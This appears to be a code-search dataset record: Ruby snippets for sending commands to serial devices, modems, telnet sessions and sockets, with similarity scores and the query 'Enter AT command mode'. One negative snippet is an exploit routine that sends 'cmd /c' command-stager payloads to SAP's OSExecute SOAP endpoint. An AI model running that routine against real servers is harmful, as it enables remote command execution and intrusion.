ho\t = readbuff[12,2].to_i\n min\t = readbuff[15,2].to_i\n sec\t = readbuff[18,2].to_i\n Rtc.deinit()\n #Rtc.init(-20)\t# RTC補正:10 秒毎に 20/32768 秒遅らせる\n Rtc.init() # v2.83以降:デフォルト値(-20)で補正を行う\n Rtc.setTime([year,mon,da,ho,min,sec])\n end\n year,mon,da,ho,min,sec = Rtc.getTime()\n puts \"\"\n puts year.to_s + \"/\" + zeroAdd(mon) + \"/\" + zeroAdd(da) + \" \" + zeroAdd(ho) + \":\" + zeroAdd(min) + \":\" + zeroAdd(sec)\n puts \"RTC setteing is done.\"\n else\n puts \"\"\n puts \"Illegal command:\" + readbuff\n readbuff = \"\"\n end #if\n end\nend", "def commandRead()\n readbuff = \"#\"\n command_get = 0\n cnt = 0\n loop do\n while(Usb.available() > 0) do #何か受信があったらreadbuffに蓄える\n a = Usb.read()\n readbuff += a\n Usb.print a\n if a.to_s == \";\" then\n command_get = 1\n break\n end\n delay 20\n cnt = 0\n end #while\n\n if readbuff.length > 0 then\n cnt += 1\n if cnt > 500 then\n command_get = 1\n break\n end \n delay 20\n end \n\n if command_get==1 || readbuff==\"\" then\n break\n end\n end #loop\n\n if command_get==1 then\n command_get = 0\n if(readbuff[5]==\"/\" and readbuff[8]==\"/\" and readbuff[11]==\" \" and readbuff[14]==\":\" and readbuff[17]==\":\")then\n if(readbuff.length >= 19 )then\n year = readbuff[1,4].to_i\n mon\t = readbuff[6,2].to_i\n da\t = readbuff[9,2].to_i\n ho\t = readbuff[12,2].to_i\n min\t = readbuff[15,2].to_i\n sec\t = readbuff[18,2].to_i\n Rtc.deinit()\n #Rtc.init(-20)\t# RTC補正:10 秒毎に 20/32768 秒遅らせる\n Rtc.init() # v2.83以降:デフォルト値(-20)で補正を行う\n Rtc.setTime([year,mon,da,ho,min,sec])\n end\n year,mon,da,ho,min,sec = Rtc.getTime()\n puts \"\"\n puts year.to_s + \"/\" + zeroAdd(mon) + \"/\" + zeroAdd(da) + \" \" + zeroAdd(ho) + \":\" + zeroAdd(min) + \":\" + zeroAdd(sec)\n puts \"RTC setteing is done.\"\n else\n puts \"\"\n puts \"Illegal command:\" + readbuff\n readbuff = \"\"\n end #if\n end\nend", "def do_send(command, options = {})\n\t\t#logger.debug \"-- Sharp LCD, sending: #{command}\"\n\t\t\n\t\tcommand = command.clone\n\t\tcommand << 0x0D << 0x0A\n\t\t\n\t\tsend(command, options)\n\tend", "def run(command)\n @logger.debug(\"#{ @host } (#{ get_mode })\") { \"Executing #{ command }\" }\n\n output = ''\n @transport.cmd(command) { |c| output += c }\n\n # @logger.debug(\"#{ @host } (#{ get_mode })\") { output }\n # @logger.warn(@host) { 'Net::Ops::IOSInvalidInput'; puts output } if /nvalid input detected/.match(output)\n fail Net::Ops::IOSInvalidInput if /nvalid input detected/.match(output)\n\n output\n end", "def send(inc)\n @h.usb_control_msg(0x21, 0x09, 0x02, 0x01, (message_base << inc).bytes_to_string, 0)\n end", "def adb_cmd(command)\n begin\n IO.popen(command) { |f| f.read }\n rescue Exception => e\n puts \"Tried to send command: #{command} but got an exception:\\n#{e}, Backtrace #{e.backtrace}\"\n end\n end", "def initialize(options = {})\n @port = SerialPort.new(options[:port], options[:speed])\n cmd(\"AT\")\n # Set to text mode\n cmd(\"AT+CMGF=1\")\n # Set SMSC number\n cmd(\"AT+CSCA=\\\"#{SMSC}\\\"\") \n end", "def answer\n response = AGIResponse.new\n command_str = \"ANSWER\"\n begin\n response.native = execute(command_str)\n rescue AGITimeoutError, AGICommandError, AGIHangupError\n raise\n end\n if response.native == -1 then\n raise AGIChannelError.new(@last_response, \"Channel Failure in (#{command_str})\")\n elsif response.native == 0\n response.success = true\n end\n return response\n end", "def send(a)\n\t\t@connection.puts a\n\tend", "def on(relay)\n lsb = relay - 1 & 255\n msb = relay >> 8\n command = wrap_in_api([254, 48, lsb, msb]) # command:[]\n result = send_command(command) # result:string\n process_control_command_return(result)\n end", "def send_apdu!(apdu)\n \tsend_apdu(apdu).raise_errno!\n end", "def enter_at_mode\n while gets.size > 0; end # discard remain data\n Machine.delay(1000) # wait 1 second\n loop {\n self.write '+'; Machine.delay(1)\n self.write '+'; Machine.delay(1)\n self.write '+'\n Machine.delay(1000) # wait 1 second\n rsp = self.gets\n return rsp if rsp == \"OK\\r\"\n }\n end", "def send_com(c,data = nil)\n com = [ 0xfe,0xfe,@radio_hex_id,0xe0 ]\n com << c\n if(data)\n data.each do |b|\n com << b\n end\n end\n com << 0xfd\n write_radio(com)\n unless read_response()\n err = \"Error: \"\n com.each do |b|\n err += sprintf(\"%02x \",b)\n end\n err += \"\\n\"\n debug_print err\n end # response error printing block\n end", "def send_cmd(cmd)\n # Write the command plus a newline to the input\n @pipe.write_input(cmd + \"\\n\")\n end", "def send_cmd(cmd)\n # Write the command plus a newline to the input\n @pipe.write_input(cmd + \"\\n\")\n end", "def send_text(command)\n @session.connection.puts(command)\n end", "def send_cmd(bytes)\n while(true) do\n send_cmd_once bytes\n response = read_response\n return response if response\n debug_msg \"ZWave command failed, attempting retry...\"\n sleep(RETRY_DELAY / 1000)\n end\n end", "def sendln(cmd)\n puts \"Send: #{cmd}\"\n if cmd.size <= 510\n @socket.write(\"#{cmd}\\r\\n\")\n STDOUT.flush\n else\n end\n end", "def execute( command, timeout=6 )\n send_question( { type: 'code', message: command }, timeout)\n end", "def receive\n if self.sendcmd(\"main.get_trx_status\")==\"rx\"\n return true\n else\n self.sendcmd(\"main.rx\")\n end\n if self.sendcmd(\"main.get_trx_status\")==\"rx\"\n return true\n else\n return false\n end\n end", "def attempt_to_connect(mac_address, sleep_for = SLEEP_BETWEEN)\n connected = false\n response = cmd('connect', mac_address)\n response_lines = response.split(\"\\n\")\n if response_lines.first != MSGS.attempting % mac_address\n abort MSGS.unexpected_connection_msg % response_lines.join(\"\\n\")\n end\n case response_lines.last\n when BLUETOOTHCTL.successful_connect\n connected = true\n puts MSGS.connected_to % mac_address\n when BLUETOOTHCTL.failed_to_connect\n puts MSGS.failed_connected_to % mac_address...\n unless connected\n puts MSGS.sleeping % sleep_for\n sleep sleep_for\n end\n else\n abort MSGS.unrecognized_response % response_lines.join(\"\\n\")\n end\n connected\nend", "def tell(command, params = {})\n msg_id = Random.new.rand(2**16)\n @connection.write({ method: command, params: params, id: msg_id }.to_json)\n end", "def transmit\n info 'os10_lldp_interface::transmit'\n begin\n @lldp_interface_lldp = @lldp_intf[:lldp] || {}\n return @lldp_interface_lldp[:'tx-enable'] || ''\n rescue Exception => e\n err 'Exception in transmit'\n err e.message\n err e.backtrace[0]\n raise\n end\n end", "def send(cmd, &block)\n cmd = cmd.to_h\n logger.debug(self.class) { \"CMD: #{cmd}\" }\n\n str = cmd.bencode\n logger.debug(self.class) { \"Encoded CMD: #{str}\" }\n\n @io.write(cmd.bencode)\n\n collect_responses(&block)\n end", "def ACK04=(arg)", "def ACK10=(arg)", "def response(opt, enable, who)\n option(opt)\n\n case who\n when :him\n willdo = DO.chr\n wontdont = DONT.chr\n whoq = :himq\n when :us\n willdo = WILL.chr\n wontdont = WONT.chr\n whoq = :usq\n else\n # Error\n end\n\n case @state[opt].send(who)\n when :no\n if enable\n if desired?(opt)\n # If we agree\n @state[opt].send(\"#{who}=\", :yes)\n @pstack.conn.sendmsg(IAC.chr + willdo + opt.chr)\n log.debug(\"(#{@pstack.conn.object_id}) Telnet negotiation: agreed to enable option #{opt}\")\n else\n # If we disagree\n @pstack.conn.sendmsg(IAC.chr + wontdont + opt.chr)\n log.debug(\"(#{@pstack.conn.object_id}) Telnet negotiation: disagreed to enable option #{opt}\")\n end\n else\n # Ignore\n end\n when :yes\n if enable\n # Ignore\n else\n @state[opt].send(\"#{who}=\", :no)\n @pstack.conn.sendmsg(IAC.chr + wontdont + opt.chr)\n end\n when :wantno\n if enable\n case @state[opt].send(whoq)\n when :empty\n #Error DONT/WONT answered by WILL/DO\n @state[opt].send(\"#{who}=\", :no)\n when :opposite\n #Error DONT/WONT answered by WILL/DO\n @state[opt].send(\"#{who}=\", :yes)\n @state[opt].send(\"#{whoq}=\", :empty)\n end\n log.error(\"(#{@pstack.conn.object_id}) Telnet negotiation: option #{opt.to_s} DONT/WONT answered by WILL/DO\")\n else\n case @state[opt].send(whoq)\n when :empty\n @state[opt].send(\"#{who}=\", :no)\n log.debug(\"(#{@pstack.conn.object_id}) Telnet negotiation: agreed to disable option #{opt}\")\n when :opposite\n @state[opt].send(\"#{who}=\", :wantyes)\n @state[opt].send(\"#{whoq}=\", :empty)\n @pstack.conn.sendmsg(IAC.chr + willdo + opt.chr)\n end\n end\n when :wantyes\n if enable\n case @state[opt].send(whoq)\n when :empty\n @state[opt].send(\"#{who}=\", :yes)\n log.debug(\"(#{@pstack.conn.object_id}) Telnet negotiation: agreed to enable option #{opt}\")\n when :opposite\n @state[opt].send(\"#{who}=\", :wantno)\n @state[opt].send(\"#{whoq}=\", :empty)\n @pstack.conn.sendmsg(IAC.chr + wontdont + opt.chr)\n end\n else\n case @state[opt].send(whoq)\n when :empty\n @state[opt].send(\"#{who}=\", :no)\n log.debug(\"(#{@pstack.conn.object_id}) Telnet negotiation: agreed to disable option #{opt}\")\n when :opposite\n @state[opt].send(\"#{who}=\", :no)\n @state[opt].send(\"#{whoq}=\", :empty)\n end\n end\n end\n end", "def sends_exec(command, reply = true, success = true)\n script.sends_channel_request(self, \"exec\", reply, command, success)\n end", "def to_bytes\n # set defaults\n self.sender ||= :pc\n self.receiver ||= 1\n\n bytes = []\n\n bytes.concat [0x00] * 5 # start of command\n bytes.concat [0x01] # <SOH>\n bytes.concat self.sender.to_bytes # Sender Address\n bytes.concat self.receiver.to_bytes # Reciver Address\n bytes.concat [0x02] # <STX>\n bytes.concat string_to_ascii_bytes(command_code) # Command Code\n bytes.concat command_payload_bytes # command specific payload\n bytes.concat [0x03] # <ETX>\n bytes.concat generate_checksum_bytes(bytes[10..-1]) # Checksum bytes (4)\n bytes.concat [0x04] # <EOT>\n\n bytes\n end", "def request( command, options={} )\n\t\tmsg = TNetstring.dump([ command, options ])\n\t\tself.log.debug \"Request: %p\" % [ msg ]\n\t\tself.socket << msg\n\n\t\tresponse = self.socket.receive\n\t\tself.log.debug \"Response: %p\" % [ response ]\n\t\treturn unpack_response( response.pop )\n\tend", "def perform_write(command)\n @tcp_socket.send(command.to_bytes.pack('C*'), 0)\n end", "def send_request(request)\n\n #send the request packet over the serial line\n write(request.with_checksum())\n\n #if this packet expects a response\n unless request.response_format.nil?\n #read the response\n raw_response = read.force_encoding('UTF-8')\n\n #force it into the proper format\n response = request.response_format.new(raw_response)\n\n unless response.valid?\n raise BadResponseError.new(\"A response from the scanner failed its checksum- was #{response.checksum.inspect}, should have been #{response.computed_checksum.inspect}.\\n #{response.inspect}\")\n end\n\n response\n end\n\n end", "def gets\n method_invocation_log << [:gets]\n raise MPD::ConnectionError unless connected\n (server_response_lines.shift || 'ACK') + \"\\n\"\n end", "def execute_command(cmd, opts)\r\n\r\n\t\tsoapenv = 'http://schemas.xmlsoap.org/soap/envelope/'\r\n\t\txsi = 'http://www.w3.org/2001/XMLSchema-instance'\r\n\t\txs = 'http://www.w3.org/2001/XMLSchema'\r\n\t\tsapsess = 'http://www.sap.com/webas/630/soap/features/session/'\r\n\t\tns1 = 'ns1:OSExecute'\r\n\r\n\t\tcmd_s = cmd.split(\"&\") #Correct issue with multiple commands on a single line\r\n\t\tif cmd_s.length > 1\r\n\t\t\tprint_status(\"Command Stager progress - Split final payload for delivery (#{cmd_s.length} sections)\")\r\n\t\tend\r\n\r\n\t\tcmd_s = cmd_s.collect(&:strip)\r\n\t\tcmd_s.each do |payload|\r\n\r\n\t\t\tdata = '<?xml version=\"1.0\" encoding=\"utf-8\"?>' + \"\\r\\n\"\r\n\t\t\tdata << '<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"' + soapenv + '\" xmlns:xsi=\"' + xsi + '\" xmlns:xs=\"' + xs + '\">' + \"\\r\\n\"\r\n\t\t\tdata << '<SOAP-ENV:Header>' + \"\\r\\n\"\r\n\t\t\tdata << '<sapsess:Session xlmns:sapsess=\"' + sapsess + '\">' + \"\\r\\n\"\r\n\t\t\tdata << '<enableSession>true</enableSession>' + \"\\r\\n\"\r\n\t\t\tdata << '</sapsess:Session>' + \"\\r\\n\"\r\n\t\t\tdata << '</SOAP-ENV:Header>' + \"\\r\\n\"\r\n\t\t\tdata << '<SOAP-ENV:Body>' + \"\\r\\n\"\r\n\t\t\tdata << '<' + ns1 + ' xmlns:ns1=\"urn:SAPControl\"><command>cmd /c ' + payload.strip\r\n\t\t\tdata << '</command><async>0</async></' + ns1 + '>' + \"\\r\\n\"\r\n\t\t\tdata << '</SOAP-ENV:Body>' + \"\\r\\n\"\r\n\t\t\tdata << '</SOAP-ENV:Envelope>' + \"\\r\\n\\r\\n\"\r\n\r\n\t\t\tuser_pass = Rex::Text.encode_base64(datastore['USERNAME'] + \":\" + datastore['PASSWORD'])\r\n\r\n\t\t\tbegin\r\n\t\t\t\tres = send_request_raw({\r\n\t\t\t\t\t'uri' => \"/#{datastore['URI']}\",\r\n\t\t\t\t\t'method' => 'POST',\r\n\t\t\t\t\t'data' => data,\r\n\t\t\t\t\t'headers' =>\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t'Content-Length' => data.length,\r\n\t\t\t\t\t\t\t'SOAPAction' => '\"\"',\r\n\t\t\t\t\t\t\t'Authorization' => 'Basic ' + user_pass,\r\n\t\t\t\t\t\t\t'Content-Type' => 'text/xml; charset=UTF-8',\r\n\t\t\t\t\t\t}\r\n\t\t\t\t}, 60)\r\n\r\n\t\t\tif (res.code != 500 and res.code != 200)\r\n\t\t\t\tprint_error(\"[SAP] An unknown response was received from the server\")\r\n\t\t\t\tabort(\"Invlaid server response\")\r\n\t\t\telsif res.code == 500\r\n\t\t\t\tbody = res.body\r\n\t\t\t\tif body.match(/Invalid Credentials/i)\r\n\t\t\t\t\tprint_error(\"[SAP] The Supplied credentials are incorrect\")\r\n\t\t\t\t\tabort(\"Exploit not complete, check credentials\")\r\n\t\t\t\telsif body.match(/Permission denied/i)\r\n\t\t\t\t\tprint_error(\"[SAP] The Supplied credentials are valid, but lack OSExecute permissions\")\r\n\t\t\t\t\traise RuntimeError.new(\"Exploit not complete, check credentials\")\r\n\t\t\t\tend\r\n\t\t\tend\r\n\r\n\t\t\trescue ::Rex::ConnectionError\r\n\t\t\t\tprint_error(\"[SAP] Unable to attempt authentication\")\r\n\t\t\t\tbreak\r\n\t\t\tend\r\n\t\tend\r\n\tend", "def command room, device, state\n # @todo get the device name in here...\n device = device.to_s\n # Command structure is <transaction number>,<Command>|<Action>|<State><cr>\n if room and device and !device.empty? and state\n '666,!' + room['id'] + room['device'][device]['id'] + state + '|Turn ' + room['name'] + ' ' + device + '|' + state + ' via @pauly'\n else\n '666,!' + room['id'] + state + '|Turn ' + room['name'] + '|' + state + ' via @pauly'\n end\n end", "def get_atu()\n if $kx_atu\n atu=get_cmd('AK;',0.1,0.5,3).gsub(/^AK/,'').gsub(/;$/,'')\n puts atu if $verbose\n l=atu[0..1].to_i\n c=atu[2..3].to_i\n r=atu[4..5].to_i\n puts l if $verbose\n puts c if $verbose\n puts r if $verbose\n if r==0\n puts \"atu: antenna\" if $verbose\n relays=\"antenna\"\n elsif r==1\n puts \"atu: transmit\" if $verbose\n relays=\"transmit\"\n else\n puts \"atu: unknown\" if $verbose\n relays=\"Unknown\"\n end\n return(\"L=#{l}, C=#{c}, R=#{relays}\")\n else\n return \"ATU not installed\"\n end\nend", "def ACK05=(arg)", "def get_rx_data\n return self.sendcmd(\"rx.get_data\")\n end", "def send_output(output)\n output += \"\\n\" unless output.end_with? \"\\n\" or output.empty?\n send_data output\n send_command_prompt\n end", "def send_command(parms=nil)\n #logger.debug \"AQUIII ESTOOOY \"\n\n\n url = URI.parse(@control_url)\n #logger.debug \"URL #{@control_url}\"\n req = Net::HTTP::Get.new(url.path)\n\n\n #logger.debug \"URLpath #{url.path}\"\n if parms\n\t\t#logger.debug \"sent data #{parms.to_json}\"\n end\n \n\n req.basic_auth @username, @password if @username\n if parms\n\t\treq.set_form_data(parms)\n end\n \n \n res = Net::HTTP.new(url.host, url.port).start {|http| http.request(req) }\n res.use_ssl = true if @control_url =~ /^https/\n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n # OK\n #logger.debug \"REspuesta #{res}\"\n return res.body\n else\n res.error!\n end\n end", "def get_command_response(command:, start_reg:, end_reg:, unique: false, ignore_warnings: false)\n waitfor_config = {\n 'Match' => /.+/,\n 'Timeout' => 1\n }\n unless @connection\n telnet_config = nil\n get_device(no_lock: true) do |device|\n telnet_config ={\n 'Host' => device.ip,\n 'Port' => 8080\n }\n end\n @connection = Net::Telnet.new(telnet_config)\n end\n\n @lines = []\n @all_txt = \"\"\n @begun = false\n @done = false\n @connection.puts(\"#{command}\\n\")\n while not @done\n begin\n @connection.waitfor(waitfor_config) do |txt|\n handle_text(txt: txt, start_reg: start_reg, end_reg: end_reg, unique: unique)\n end\n rescue Net::ReadTimeout\n @logger.warn \"Timed out reading profiler information\" unless ignore_warnings\n @done = true\n end\n end\n @lines\n end", "def read\n @io.write(?r) # Read command\n sleep(0.1) until !@io.eof?\n\n @io.readbyte\n end", "def send_text(text)\n response = AGIResponse.new\n command_str = \"SEND TEXT '#{text}'\"\n begin\n response.native = execute(command_str)\n rescue AGITimeoutError, AGICommandError, AGIHangupError\n raise\n end\n if response.native == -1 then\n raise AGIChannelError.new(@last_response, \"Channel Failure in (#{command_str})\")\n elsif response.native == 0\n response.success = true\n end\n return response\n end", "def send_buffer(verbose=false)\n if @message.length > 0\n self.transmit()\n send_length=@message.length\n send_start=Time.now()\n show=\"\"\n while @message.length > 0\n @m.synchronize do\n self.sendcmd(\"text.add_tx\",@message)\n @message=\"\"\n end\n waited=0\n max=@start_wait\n\n result=\"\"\n while waited<max\n waited=waited+1\n result=self.get_tx_data()\n if result.length > 0\n max=@char_wait\n waited=0\n show=show+result\n if verbose\n puts show\n end\n end\n sleep 1\n end\n end\n end\n self.receive()\n send_end=Time.now()\n puts \"#{send_length} characters sent in #{(send_end-send_start).to_i} seconds, #{((((send_length/(send_end.to_f-send_start.to_f))*10)+0.5).to_i)/10.to_f} chars/sec.\" if @debug\n return show\n end", "def ACK09=(arg)", "def send_command(socket, msg)\n response = ''\n socket.puts(msg)\n while true do\n if (buf = socket.recv_nonblock(65536) rescue nil)\n response << buf\n return response if response =~ /\\n.\\n$/\n end\n end\n end", "def send(cmd, msec=READ_TIMEOUT)\n raw_send(cmd + NL, msec)\n end", "def esx_cmd(command)\n cmd = \"#{BIN_LOCATION}/tty_expect -u #{@user} -p #{@pass} #{command}\"\nend", "def test_REG_REGOK\r\n msg_out = \"REG macau 10.0.1.28\"\r\n msg_esperada = \"REGOK\"\r\n sock = UDPSocket.new\r\n sock.connect($central_ip, $central_porta)\r\n sock.print(msg_out)\r\n msg_in = sock.recvfrom(20)[0]\r\n assert_equal(msg_esperada, msg_in)\r\n end" ]
[ "0.6945605", "0.6807707", "0.6179807", "0.6119178", "0.6114377", "0.6010572", "0.5985923", "0.5899146", "0.58875656", "0.58634853", "0.5855879", "0.5824464", "0.5822644", "0.57935876", "0.57743734", "0.57546437", "0.57540005", "0.57392263", "0.57342404", "0.5728098", "0.5678287", "0.567711", "0.5657697", "0.5655326", "0.5655326", "0.56286085", "0.5609995", "0.5602239", "0.55818605", "0.5555863", "0.55554044", "0.5542859", "0.5541006", "0.55329514", "0.552734", "0.55122733", "0.5481924", "0.5466522", "0.54623526", "0.5456854", "0.54522395", "0.54458827", "0.54423124", "0.54228646", "0.5417695", "0.54149026", "0.5379717", "0.5369968", "0.5312738", "0.53024906", "0.52935076", "0.5289595", "0.5263209", "0.5263209", "0.52632016", "0.5262041", "0.52577716", "0.52573615", "0.5247289", "0.5244181", "0.5235625", "0.5232715", "0.5224997", "0.52249366", "0.52204055", "0.5214942", "0.52135086", "0.52104264", "0.520679", "0.51795256", "0.5176607", "0.51677865", "0.5155776", "0.51546997", "0.5153212", "0.5119258", "0.509774", "0.5087555", "0.5086221", "0.5084673", "0.508327", "0.50765747", "0.5067522", "0.5063422", "0.5056325", "0.5035784", "0.50353163", "0.50338435", "0.50204676", "0.5017034", "0.500054", "0.49987802", "0.49949044", "0.49924967", "0.49850437", "0.49841434", "0.49813253", "0.4978224", "0.49705517", "0.4965308", "0.49643344" ]
0.0
-1
Enter AT command mode
def enter_at_mode while gets.size > 0; end # discard remain data Machine.delay(1000) # wait 1 second loop { self.write '+'; Machine.delay(1) self.write '+'; Machine.delay(1) self.write '+' Machine.delay(1000) # wait 1 second rsp = self.gets return rsp if rsp == "OK\r" } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def enter_at_mode\n while gets.size > 0; end # discard remain data\n Machine.delay(1000) # wait 1 second\n 10.times do\n begin\n self.write '+++'\n Machine.delay(1000) # wait 1 second\n rsp = wait_cr(TMO_RESPONSE)\n return rsp\n rescue => e\n end\n end\n raise \"Cannot enter AT mode\"\n end", "def enter_command(cmd)\n @socket.print(\"#{cmd}\\n\")\n end", "def getCommand\n\t\tmkWins if ! defined?(@apListBox)\n\t\tupdateCommandRow \"Commands==> (I)nfo (C)lients (Q)uit exec-(l)ocal exec-(r)emote (B)uild-config\"\n\t\trefreshAps;\n\t\tfinished=false; processed=false\n\t\twhile (true)\n\t\t\trefreshAps;\n\t\t\tbreak if finished\n\t\t\tprocessed=false\n\t\t\t#updateStatusRow(@active.key)\n\t\t\tc=@active.getch\n\t\t\tc,processed,finished=global_hook_keypressed(c) if defined?(global_hook_keypressed)\n\t\t\tbreak if finished\n\t\t\tnext if processed\n\t\t\tprocessed=navigate(@active,c)\n\t\t\tnext if processed\n\t\t\tcase c\n\t\t\twhen ?\\C-L # ^L\n\t\t\t\trefreshUI; next\n\t\t\twhen ?q, ?Q\n\t\t\t\tfinished=true; next\n\t\t\tend\n\t\t\tif (@active==@apListBox)\n\t\t\t\t# Directory\n\t\t\t\tcase c\n\t\t\t\twhen 9 # TAB\n\t\t\t\t\tnext if @entryListBox.items.length==0\n\t\t\t\t\tselectListBox(@entryListBox)\n\t\t\t\twhen ?i, ?I\n\t\t\t\t\tshowAPInfo; \n\t\t\t\twhen ?l\n\t\t\t\t\texecute_local\n\t\t\t\twhen ?L\n\t\t\t\t\texecute_local_all\n\t\t\t\twhen ?r \n\t\t\t\t\texecute_remote\n\t\t\t\twhen ?R \n\t\t\t\t\texecute_remote_all\n\t\t\t\twhen ?e\n\t\t\t\t\t@apListBox.value.enable( !@apListBox.value.enabled? );\n\t\t\t\t\t#puts \"Enabled: #{@apListBox.value.enabled?}\"\n\t\t\t\twhen ?b, ?B\n\t\t\t\t\tbuild_config_tgz\n\t\t\t\t\trefreshAps\n\t\t\t\twhen KEY_ENTER, 13 # Enter\n\t\t\t\t\tdebug(\"Enter. Selected==#{@apListBox.selected}\")\n\t\t\t\tend\n\t\t\t\trefreshUI\n\t\t\telse (@active==@entryListBox)\n\t\t\t\tcase c\n\t\t\t\twhen 9 # TAB \n\t\t\t\t\tnext if @apListBox.items.length==0\n\t\t\t\t\tselectListBox(@apListBox)\n\t\t\t\twhen KEY_ENTER, 13 # Enter\n\t\t\t\t\tdebug(\"Enter. Selected==#{@apListBox.selected}\")\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tNcurses.endwin\n\t\texit(0)\n\tend", "def initialize(options = {})\n @port = SerialPort.new(options[:port], options[:speed])\n cmd(\"AT\")\n # Set to text mode\n cmd(\"AT+CMGF=1\")\n # Set SMSC number\n cmd(\"AT+CSCA=\\\"#{SMSC}\\\"\") \n end", "def send_command(command)\n SerialPort.open(self.device_path, 9600, 8, 1) do |port|\n # flush anything existing on the port\n port.flush\n flush_read_buffer(port)\n\n byte_string = command.to_bytes.pack('C*')\n\n begin\n while byte_string && byte_string.length != 0\n count = port.write_nonblock(byte_string)\n byte_string = byte_string[count,-1]\n\n port.flush\n end\n rescue IO::WaitWritable\n if IO.select([], [port], [], 5)\n retry\n else\n raise IOError, \"Timeout writing command to #{self.device_path}\"\n end\n end\n\n # wait for expected confirmation signals\n got_eot = false\n got_soh = false\n loop do\n begin\n c = port.read_nonblock(1)\n\n case c\n when \"\\x04\"\n if ! got_eot\n got_eot = true\n else\n raise IOError, \"Got EOT reply twice from #{self.device_path}\"\n end\n when \"\\x01\"\n if got_eot\n if ! got_soh\n got_soh = true\n\n break\n else\n raise IOError, \"Got SOH twice from #{self.device_path}\"\n end\n else\n raise IOError, \"Got SOH before EOT from #{self.device_path}\"\n end\n end\n rescue IO::WaitReadable\n if IO.select([port], [], [], 3)\n retry\n else\n raise IOError, \"Timeout waiting for command reply from #{self.device_path}. EOT:#{got_eot} SOH:#{got_soh}\"\n end\n end\n end\n end\n\n self\n end", "def instruction (command)\n\t\t\t@actor.tell @actor.state.prompt + command\n\t\t\t@actor.perform command\n\t\tend", "def enable!\n `tc qdisc add dev lo root netem delay #{delay}ms`\n end", "def select(aid)\n\t\t\tsend_apdu(\"\\x00\\xA4\\x04\\x00#{aid.size.chr}#{aid}\")\n end", "def select(aid)\n\t\t\tsend_apdu!(\"\\x00\\xA4\\x04\\x00#{aid.size.chr}#{aid}\")\n end", "def send_command(command)\n # Enable the chip, set the DC line to COMMAND\n RPi::GPIO.set_low @cs\n RPi::GPIO.set_low @dc\n # Now send the command over the SPI line\n @spi.xfer(txdata: [command])\n # We're done, turn off CS\n RPi::GPIO.set_high @cs\n end", "def giveOp(usr)\n @IRCsocket.write(\"MODE #{@ch} +op #{usr}\\n\")\n end", "def command room, device, state\n # @todo get the device name in here...\n device = device.to_s\n # Command structure is <transaction number>,<Command>|<Action>|<State><cr>\n if room and device and !device.empty? and state\n '666,!' + room['id'] + room['device'][device]['id'] + state + '|Turn ' + room['name'] + ' ' + device + '|' + state + ' via @pauly'\n else\n '666,!' + room['id'] + state + '|Turn ' + room['name'] + '|' + state + ' via @pauly'\n end\n end", "def command\n consume 1, :command\n end", "def test_serial_port\n master = SerialPort.new \"/home/ralph/dev/vmodem0\", 38400\n\n master.write \"AT\\r\\n\"\n\n master.write \"AT\\r\\n\"\n master.write \"AT\\r\\n\"\n #slave = SerialPort.new \"/dev/pts/10\", 38400\n\n assert_equal \"AT\", master.read\n end", "def input_command\n\t\tloop do\n\t\t\tputs \"\"\n\t\t\tputs \"What are your commands master #{$account}?\"\n\t\t\t# cmd = ('say \"What are your commands my master?\"')\n\t\t\t# system cmd\n\t\t\tgive_command(gets.chomp.upcase)\n\t\tend\n\tend", "def begin\n puts instruction\n\n while read_command(gets.chomp)\n end\n end", "def enter_command\n\t\tanswer = $screen.ask(\"command:\",$command_hist)\n\t\teval(answer)\n\t\t$screen.write_message(\"done\")\n\trescue\n\t\t$screen.write_message(\"Unknown command\")\n\tend", "def send_command_prompt\n send_data options[:command_prompt]\n end", "def write_command(cmd, data='', synth=SYNTH_A)\n # Make sure cmd is valid\n raise \"unknown command #{cmd}\" unless LENGTH.has_key?(cmd)\n # Verify length of data to write\n if data.length != LENGTH[cmd]\n raise \"invalid data length for command #{cmd} \" +\n \"(expected #{LENGTH[cmd]}, got #{data.length})\"\n end\n # Make sure synth has no stray bits set\n synth &= (SYNTH_A|SYNTH_B)\n\n serialport do |sp|\n cmd = WR|synth|cmd unless cmd == CMD_WRITE_FLASH\n csum = Valon.generate_checksum(cmd.chr, data)\n cmd_data_csum = [cmd, data, csum].pack('CA*A')\n sp.write(cmd_data_csum)\n ack = sp.read(1).ord\n raise \"nak error (#{ack == NAK ? 'NAK' : ack.inspect})\" if ack != ACK\n end\n nil\n end", "def gotoHomeScreen()\n\tcmd = \"adb -s \"+$firstDevice+\" shell input keyevent 3\"\t\n\tsystem(cmd)\nend", "def command(val)\n # record the valve's command state in the db\n update(cmd: val)\n mode = \"gpio -g mode #{gpio_pin} out\"\n system(mode)\n mode_set = 1\n write = \"gpio -g write #{gpio_pin} #{val}\"\n system(write)\n end", "def echo_on\n system \"stty echo\"\n end", "def on\n @command.execute(1, [0x31, 0x00, 0x00, 0x00, 0x03, 0x03, 0x00, 0x00, 0x00])\n\n self\n end", "def enable_telnet\n info 'Enabling Telnet'\n \n @session.configuration(:enforce_save) do\n lines('vty 0 4') { set 'transport input', 'ssh telnet' }\n # lines('vty 5 15') { set 'transport input', 'ssh telnet' }\n end\n end", "def send_command(cmd)\n write cmd.chr\n end", "def read_command(prompt); end", "def status\n sts = atcmd \"ATAI\"\n sts.to_i(16)\n end", "def scan_ap\n enter_at_mode\n self.write \"ATAS#{CR}\"\n ap = []\n loop {\n sc = wait_cr 3000 # scan type\n break if !sc || sc.size == 0 || sc == 'ERROR'\n ch = wait_cr # channel number\n st = wait_cr # security type ('00':open, '01':WPA, '02':WPA2, '03':WEP)\n lm = wait_cr # Link margin\n id = wait_cr # SSID\n sec_type = case st\n when '00'; :none\n when '01'; :wpa\n when '02'; :wpa2\n when '03'; :wep\n else; nil\n end\n ap << [id, sec_type] # ssid, sec_type\n }\n cmd \"ATCN\"\n return ap\n end", "def command; end", "def command; end", "def command; end", "def command; end", "def command; end", "def command; end", "def at!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 13 )\n\n type = AT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 145:6: '@'\n match( 0x40 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 13 )\n\n end", "def bufferio(enable)\n return if !defined?(Termios) || enable && @buff_enabled || !enable && !@buff_enabled\n attr = 